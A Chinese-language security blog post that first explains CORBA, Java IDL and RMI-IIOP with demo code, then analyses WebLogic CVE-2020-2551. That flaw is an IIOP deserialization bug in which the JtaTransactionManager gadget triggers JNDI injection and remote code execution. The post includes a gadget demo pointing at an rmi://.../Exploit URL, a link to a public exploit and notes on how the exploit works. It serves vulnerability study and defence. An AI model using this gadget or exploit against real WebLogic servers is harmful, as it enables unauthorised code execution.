基础
IDL与Java IDL
IDL(Interface Definition Language)接口定义语言,它主要用于描述软件组件的应用程序编程接口的一种规范语言。它完成了与各种编程语言无关的方式描述接口,从而实现了不同语言之间的通信,这样就保证了跨语言跨环境的远程对象调用。
JAVA IDL是一个分布的对象技术,允许其对象在不同的语言间进行交互。它的实现是基于公共对象代理体系(Common Object Request Brokerage Architecture,CORBA),一个行业标准的分布式对象模型。每个语言支持CORBA都有他们自己的IDL Mapping映射关系,IDL和JAVA的映射关系可以参考文档Java IDL: IDL to Java Language Mapping
在jdk安装后,会附带有
idlj
编译器,使用idlj
命令可以将IDL文件编译成java文件
COBAR
CORBA(Common ObjectRequest Broker Architecture)公共对象请求代理体系结构,是由OMG组织制订的一种标准分布式对象结构。其提出是为了解决不同应用间的通信,曾是分布式计算的主流技术。
CORBA结构分为三部分:
- naming service
- client side
- servant side
他们之间的关系简单理解为:client side从naming service中获取服务方servant side信息。servant side需要在naming service中注册,这样client side在要访问具体内容时会先去naming service查找,以找到对应的servant side服务。
可以理解为目录与章节具体内容具体关系:naming service目录,servant side为内容,目的就是为了让client side快速从目录找到内容。
CORBA通信过程
在CORBA客户端和服务器之间进行远程调用模型如下:
在客户端,应用程序包含远程对象的引用,对象引用具有存根(stub)方法,存根方法是远程调用该方法的替身。存根实际上是连接到ORB(Object Request Broker)对象请求代理的,因此调用它会调用ORB的连接功能,该功能会将调用转发到服务器。
在服务器端,ORB使用框架代码将远程调用转换为对本地对象的方法调用。框架将调用和任何参数转换为其特定于实现的格式,并调用客户端想要调用的方法。方法返回时,框架代码将转换结果或错误,然后通过ORB将其发送回客户端。
在ORB之间,通信通过IIOP(the Internet Inter-ORB Protocol)互联网内部对象请求代理协议进行。基于标准TCP/IP Internet协议的IIOP提供了CORBA客户端和服务端之间通信的标准。
使用JAVA IDL编写CORBA分布式应用
编写IDL
CORBA使用IDL供用户描述程序接口, 所以这里第一步就是编写idl描述接口,创建Hello.idl
文件:1
2
3
4
5
6
7module HelloApp
{
interface Hello
{
string sayHello();
};
};
该段代码描述了Hello
接口中包含sayHello()
方法,他会返回字符串类型数据。
编译生成client side classes
接着使用JAVA的IDL编译器idlj
,将idl文件编译成class文件:1
idlj -fclient Hello.idl
创建了一个新目录HelloApp
,并生成了5个新文件:
他们之间的关系如下图所示:
参考代码,简单概括一下:
HelloOperations
接口中定义sayHello()
方法Hello
继承了HelloOperations
_HelloStub
类实现了Hello
接口,client side使用hello
接口调用servant side
。HelloHelper
类实现网络传输,数据编码和解码的工作。
详细分析一下几段核心代码,先来看一下_HelloStub.java
中sayHello()
的实现:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18public String sayHello ()
{
org.omg.CORBA.portable.InputStream $in = null;
try {
org.omg.CORBA.portable.OutputStream $out = _request ("sayHello", true);
$in = _invoke ($out);
String $result = $in.read_string ();
return $result;
} catch (org.omg.CORBA.portable.ApplicationException $ex) {
$in = $ex.getInputStream ();
String _id = $ex.getId ();
throw new org.omg.CORBA.MARSHAL (_id);
} catch (org.omg.CORBA.portable.RemarshalException $rm) {
return sayHello ( );
} finally {
_releaseReply ($in);
}
} // sayHello
使用org.omg.CORBA.portable
的InputStream
和OutputStream
来表示调用的请求和响应,通过_request()
和_invoke()
方法调用得到结果。
另外在HelloHelper
类中负责处理对象网络传输的编码和解码,来看一下narrow
方法:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16public static HelloApp.Hello narrow (org.omg.CORBA.Object obj)
{
if (obj == null)
return null;
else if (obj instanceof HelloApp.Hello)
return (HelloApp.Hello)obj;
else if (!obj._is_a (id ()))
throw new org.omg.CORBA.BAD_PARAM ();
else
{
org.omg.CORBA.portable.Delegate delegate = ((org.omg.CORBA.portable.ObjectImpl)obj)._get_delegate ();
HelloApp._HelloStub stub = new HelloApp._HelloStub ();
stub._set_delegate(delegate);
return stub;
}
}
接受一个org.omg.CORBA.Object
对象作为参数,返回stub。
编译生成servant side
执行命令:1
idlj -fserver Hello.idl
会生成三个文件,除了HelloPOA.java
,其余都是一样的。
POA(Portable Object Adapter)是便携式对象适配器,它是CORBA规范的一部分。这里的这个POA虚类是servant side的框架类,它提供了方法帮助我们将具体实现对象注册到naming service上。
来看一下其核心代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40public abstract class HelloPOA extends org.omg.PortableServer.Servant
implements HelloApp.HelloOperations, org.omg.CORBA.portable.InvokeHandler
{
// Constructors
private static java.util.Hashtable _methods = new java.util.Hashtable ();
static
{
_methods.put ("sayHello", new java.lang.Integer (0));
}
public org.omg.CORBA.portable.OutputStream _invoke (String $method,
org.omg.CORBA.portable.InputStream in,
org.omg.CORBA.portable.ResponseHandler $rh)
{
org.omg.CORBA.portable.OutputStream out = null;
java.lang.Integer __method = (java.lang.Integer)_methods.get ($method);
if (__method == null)
throw new org.omg.CORBA.BAD_OPERATION (0, org.omg.CORBA.CompletionStatus.COMPLETED_MAYBE);
switch (__method.intValue ())
{
case 0: // HelloApp/Hello/sayHello
{
String $result = null;
$result = this.sayHello ();
out = $rh.createReply();
out.write_string ($result);
break;
}
default:
throw new org.omg.CORBA.BAD_OPERATION (0, org.omg.CORBA.CompletionStatus.COMPLETED_MAYBE);
}
return out;
} // _invoke
//...
值得注意的是他也实现了HelloOperations
接口,代码的最开始将sayHello
方法放入一个hashtable中,_invoke
方法中,将调用sayHello()
的结果通过org.omg.CORBA.portable.ResponseHandler
对象通过网络传输到client side。
此时idjl
生成的全部class的关系图:
接下来,要做的就是用户自己实现client side和servant side中具体的方法操作。
servant side实现
对于servant side而言,实现一个HelloImpl
类来继承HelloPOA
类实现sayHello()
方法:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17package HelloApp;
import org.omg.CORBA.ORB;
public class HelloImpl extends HelloPOA {
private ORB orb;
public void setORB(ORB orbVal) {
orb = orbVal;
}
public String sayHello() {
return "\nHello, world!\n";
}
}
此时的继承关系如下:
接着,需要写一个服务端HelloServer
类来接受client side对HelloImpl.sayHello()
的调用。
三个部分:
- 第一部分根据传入的
name service
地址参数来创建,根据CORBA的规范,通过ORB获取一个名称为RootPOA
的POA
对象。(其中name service由jdk中的orbd
提供) - 第二部分就是将具体实现类注册到naming service中,用orb获取到name service,将
HelloImpl
对象以Hello
为名绑定。 - 第三部分就是将server设置为监听状态持续运行,用于拦截并处理client side的请求,返回相应的具体实现类。
Client Side实现
1 | package HelloApp; |
首先和服务端一样,需要初始化ORB,通过ORB来获取NameService并将其转换成命名上下文。之后通过别名在命名上下文中获取其对应的Stub,调用Stub中的sayhello()方法,这个时候才会完成client side向servant side发送请求,POA处理请求,并将具体实现的HelloImpl包装返回给client side。
naming service实现
ORBD可以理解为ORB的守护进程(daemon),其主要负责建立客户端(client side)与服务端(servant side)的关系,同时负责查找指定的IOR(可互操作对象引用,是一种数据结构,是CORBA标准的一部分)。ORBD是由Java原生支持的一个服务,其在整个CORBA通信中充当着naming service的作用,可以通过一行命令进行启动:1
orbd -ORBInitialPort 1050 -ORBInitialHost 127.0.0.1
执行
接着分别在HelloServer
和HelloClient
配置name service地址:
其次依次启动name service
、HelloServer
、HelloClient
结果如上图所示。
此外,除了上述先获取NameServer,后通过resolve_str()
方法生成(NameServer方式)的stub,还有两种:
- 使用ORB.string_to_object生成(ORB生成方式)
- 使用javax.naming.InitialContext.lookup()生成(JNDI生成方式)
代码分别如下:
orb方式1
2
3
4
5
6
7
8
9
10
11public class HelloClietORB {
static Hello helloImpl;
public static void main(String[] args) throws Exception {
ORB orb = ORB.init(args, null);
org.omg.CORBA.Object obj = orb.string_to_object("corbaname::127.0.0.1:1050#Hello");
Hello hello = HelloHelper.narrow(obj);
System.out.println(hello.sayHello());
}
}
1 | public class HelloClientORB2 { |
JDNI方式:1
2
3
4
5
6
7
8
9
10
11
12
13public class HelloClientJNDI {
static Hello helloImpl;
public static void main(String[] args) throws Exception {
ORB orb = ORB.init(args, null);
Hashtable env = new Hashtable(5, 0.75f);
env.put("java.naming.corba.orb", orb);
Context ic = new InitialContext(env);
Hello helloRef = HelloHelper.narrow((org.omg.CORBA.Object)ic.lookup("corbaname::127.0.0.1:1050#Hello"));
System.out.println(helloRef.sayHello());
}
}
CORBA网络流量分析
servant side
服务端流量大致分为两个部分:
- 获取Naming Service
- 注册servant side
获取Naming Service的流量如下:
在返回的响应中,拿到了RootPOA
:
对应的代码为:
接着检测获取到的NamingService
对象是否为NamingContextExt
类的示例:
对应代码:
最后发送op=to_name
和op=rebind
两个指令:
分别为设置引用名,和设置绑定信息,来看一下op=rebind
的数据包:
这里通过IOR信息表示了servant side的相关rpc信息。
client side
这里以NameServer方式生成stub为例:
- 获取nameservice、
op=_is_a
判断 - 根据引用名获取servant side的接口Stub
- 发送方法名,调用远程方法,得到结果
分别对应代码步骤:
RMI-IIOP
RMI-IIOP出现以前,只有RMI和CORBA两种选择来进行分布式程序设计,二者之间不能协作。RMI-IIOP综合了RMI和CORBA的优点,克服了他们的缺点,使得程序员能更方便的编写分布式程序设计,实现分布式计算。
Demo: RMI-IIOP远程调用
参考文档Tutorial: Getting Started Using RMI-IIOP所述,一共四个步骤,对应的文件如下:
- 定义远程接口类:HelloInterface.java
- 编写实现类:HelloImpl.java, 实现接口HelloInterface
- 编写服务端类:HelloServer.java, RMI服务端实例远程类,将其绑定到name service中
- 编写客户端类:HelloClient.java, 调用远程方法
sayHello()
实现接口类,必须要实现Remote远程类,且抛出java.rmi.RemoteException
异常。
HelloInterface.java1
2
3
4
5import java.rmi.Remote;
public interface HelloInterface extends java.rmi.Remote {
public void sayHello( String from ) throws java.rmi.RemoteException;
}
实现接口类,必须写构造方法调用父类构造方法,给远程对象初始化使用,同时要实现一个方法给远程调用使用(sayHello()
)
HelloImpl.java1
2
3
4
5
6
7
8
9
10
11
12import javax.rmi.PortableRemoteObject;
public class HelloImpl extends PortableRemoteObject implements HelloInterface {
public HelloImpl() throws java.rmi.RemoteException {
super(); // invoke rmi linking and remote object initialization
}
public void sayHello( String from ) throws java.rmi.RemoteException {
System.out.println( "Hello from " + from + "!!" );
System.out.flush();
}
}
编写服务端,创建servant实例,绑定对象。
HelloServer.java1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.util.Hashtable;
public class HelloServer {
public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory";
public static void main(String[] args) {
try {
//实例化Hello servant
HelloImpl helloRef = new HelloImpl();
//使用JNDI在命名服务中发布引用
InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050");
initialContext.rebind("HelloService", helloRef);
System.out.println("Hello Server Ready...");
Thread.currentThread().join();
} catch (Exception ex) {
ex.printStackTrace();
}
}
private static InitialContext getInitialContext(String url) throws NamingException {
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
return new InitialContext(env);
}
}
编写客户端类,远程调用sayHello()
方法。
HelloClient.java1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import java.util.Hashtable;
public class HelloClient {
public static void main( String args[] ) {
Context ic;
Object objref;
HelloInterface hi;
try {
Hashtable env = new Hashtable();
env.put("java.naming.factory.initial", "com.sun.jndi.cosnaming.CNCtxFactory");
env.put("java.naming.provider.url", "iiop://127.0.0.1:1050");
ic = new InitialContext(env);
// STEP 1: Get the Object reference from the Name Service
// using JNDI call.
objref = ic.lookup("HelloService");
System.out.println("Client: Obtained a ref. to Hello server.");
// STEP 2: Narrow the object reference to the concrete type and
// invoke the method.
hi = (HelloInterface) PortableRemoteObject.narrow(
objref, HelloInterface.class);
hi.sayHello( " MARS " );
} catch( Exception e ) {
System.err.println( "Exception " + e + "Caught" );
e.printStackTrace( );
}
}
}
编译
编译远程接口实现类:1
javac -d . -classpath . HelloImpl.java
给实现类创建stub和skeleton(简单理解即jvm中的套接字通信程序):1
rmic -iiop HelloImpl
执行完后会创建两个文件:
- _HelloInterface_Stub.class: 客户端的stub
- _HelloImpl_Tie.class:服务端的skeleton
编译:1
javac -d . -classpath . HelloInterface.java HelloServer.java HelloClient.java
运行
开启Naming Service:1
orbd -ORBInitialPort 1050 -ORBInitialHost 127.0.0.1
运行客户端服务端:1
2java -classpath . HelloServer
java -classpath . HelloClient
上述客户端服务端代码如果在
InitialContext
没传入参数可以像文档中所述通过java -D
传递
结果
漏洞复现
weblogic10.3.6版本,jdk8u73版本
采坑,记得weblogic版本、rmi服务、exp版本都一致
EXP:https://github.com/Y4er/CVE-2020-2551
漏洞分析
这个该漏洞借助IIOP协议触发反序列化,结合对JtaTransactionManager
类的错误过滤,导致可以结合其触发其类的JNDI注入造成RCE的效果。
JtaTransactionManager Gadget分析
weblogic中自带的一个Spring框架的包:/com/bea/core/repackaged/springframework/transaction/jta/JtaTransactionManager#readObject
在反序列化调用readObject
时,会调用initUserTransactionAndTransactionManager
方法:
接着调用this.lookupUserTransaction
方法,传入成员变量this.userTransactionName
:
获取this.getJndiTemplate()
后,在/com/bea/core/repackaged/springframework/jndi/JndiTemplate#lookup
中
到这里通过控制userTransactionName
属性,进行JNDI注入:
demo:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public class jnditest {
public static void main(String[] args){
JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
jtaTransactionManager.setUserTransactionName("rmi://127.0.0.1:1099/Exploit");
serialize(jtaTransactionManager);
deserialize();
}
public static void serialize(Object obj) {
try {
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("jndi.ser"));
os.writeObject(obj);
os.close();
} catch (Exception e) {
e.printStackTrace();
}
}
public static void deserialize() {
try {
ObjectInputStream is = new ObjectInputStream(new FileInputStream("jndi.ser"));
is.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}
后来翻了一下资料,在CVE-2018-3191中使用的就是该gadget,当时结合T3协议进行反序列化,修复方案将JtaTransactionManager
的父类AbstractPlatformTransactionManager
加入到黑名单列表了,T3协议使用的是resolveClass
方法去过滤的,resolveClass
方法是会读取父类的,所以T3协议这样过滤是没问题的。但是在IIOP协议这里,也是使用黑名单进行过滤,但不是使用resolveClass
方法去判断的,这样默认只会判断本类的类名,而JtaTransactionManager类是不在黑名单列表里面的,它的父类才在黑名单列表里面,这样就可以反序列化JtaTransactionManager类了,从而触发JNDI注入。
Context的生成以及bind的流程(servant side)
在上文中RMI-IIOP的客户端demo中,分为三个步骤:
- 从Name Service中获取Conetext对象
- 从Name Service中查询指定名称所对应的引用
- 调用远程方法
先来看第一个过程,无论是客户端还是服务端都要进行的的一个步骤:InitialContext
方法中将env
参数传入,进行初始化:
经过几次调用,一直跟进到javax/naming/spi/NamingManager.java#getInitialContext
方法
可以看到在这里将我们传入的env
对应的工厂类进行获取,我们来找一下,在weblogic中有多少个可以加载的工厂类,找到InitialContextFactory
接口(ctrl+h
查看依赖树)
这里直接来看WLInitialContextFactory
类:
/wlserver_10.3/server/lib/wls-api.jar!/weblogic/jndi/Environment#getContext
getInitialContext
方法中,到这里其实就是CORBA的解析流程了,
简单跟一下string_to_object
方法,这里其实就是上文中CORBA的stub生成三种方式所对应的协议:
- IOR
- Corbaname
- Corbaloc
再来看getORBReference
方法,其实就是CORBA初始化orb获取Name Service
的过程:
对应CORBA中代码:
再来看一下Conetext
的绑定过程:/corba/j2ee/naming/ContextImpl
可以看到这个过程其实就是CORBA生成IOR的过程,指定java类型交互的约定为tk_value
,设定op为rebind_any
,存储序列化数据到any类,待client side调用。
其实在分析这里之前一直有一个问题无法理解,一直以为weblogic是orbd+servant side,而我们写的exp是client side,在和@Lucifaer师傅学习后,其实对于weblogic的orbd而言,servant side和client side都是客户端,而weblogic(orbd)是在处理servant side的时候解析数据造成反序列化的问题。
到这里servant side的注册就结束了,下面来分析一下weblogic是如何对其进行解析的。
weblogic解析流程
weblogic解析请求的入口开始:weblogic/rmi/internal/wls/WLSExecuteRequest#run
完整调用栈在下文,这里选取几个比较关键的点来分析:weblogic/corba/idl/CorbaServerRef#invoke
先是判断请求类型是否为objectMethods
已经存在的,这里是rebind_any
,不存在则调用this.delegate._invoke
方法,然后将方法类型,IIOPInputStream
数据传入_invoke
函数:rebind_any
指令类型对应的var5
为1,进入var2.read_any()
这里的this.read_TypeCode()
即上文中Context bind中的tk_value
设置的交互类型,在weblogic/corba/idl/AnyImpl#read_value_internal
对应case 30
,同时这里的Any
类型,在上文Context
分析中正式我们将序列化数据插入的地方。
跟进weblogic/corba/utils/ValueHandlerImpl
在这里var2为ObjectStreamClass
,调用其readObject方法。继续跟readObject
:
反射调用JtaTransactionManager
的readObject
:com/bea/core/repackaged/springframework/transaction/jta/JtaTransactionManager#readObject
最后就是jndi注入了:
完整调用栈:
EXP分析
在分析EXP时个人有一点疑惑,记录一下分析和解决的过程。
参考Y4er/CVE-2020-2551,这里我们结合IIOP servant side的demo来看:
上图为EXP,下图为IIOP服务端,这里有一点需要注意的是,在demo中HelloImpl
类继承了HelloInterface
实现了java.rmi.Remote
远程类的继承:
回过头来看JtaTransactionManager
类的接口:
正是这个原因才需要我们在编写EXP的时候,需要将jtaTransactionManager
通过反射,动态转换成remote达到远程调用的目的。
最后
在自己动手分析之前,我一直把weblogic当成servant side和orbd(name Service),也无法理解为什么EXP要和COBAR的servant side一样用rebind注册,后来在@Lucifaer师傅的帮助下才理解这里没有client side的参与,而对于Name Service而言这两者都是客户端。
其次这种漏洞IIOP只是载体,JtaTransactionManager
为gadget,官方修复也仅仅只是添加黑名单,IIOP的问题没根本解决,再爆一个gadget又得修,问题源源不断。更坑爹的是官网直接下的weblogic连黑名单都没有,个人觉得防御这种问题单纯靠waf流量检测根本防不住,没有反序列化特征,二进制数据流。要防范这类新问题的产生,或许只有RASP的行为检测才能解决。
最后感谢@Lucifaer师傅的帮助~
参考文章: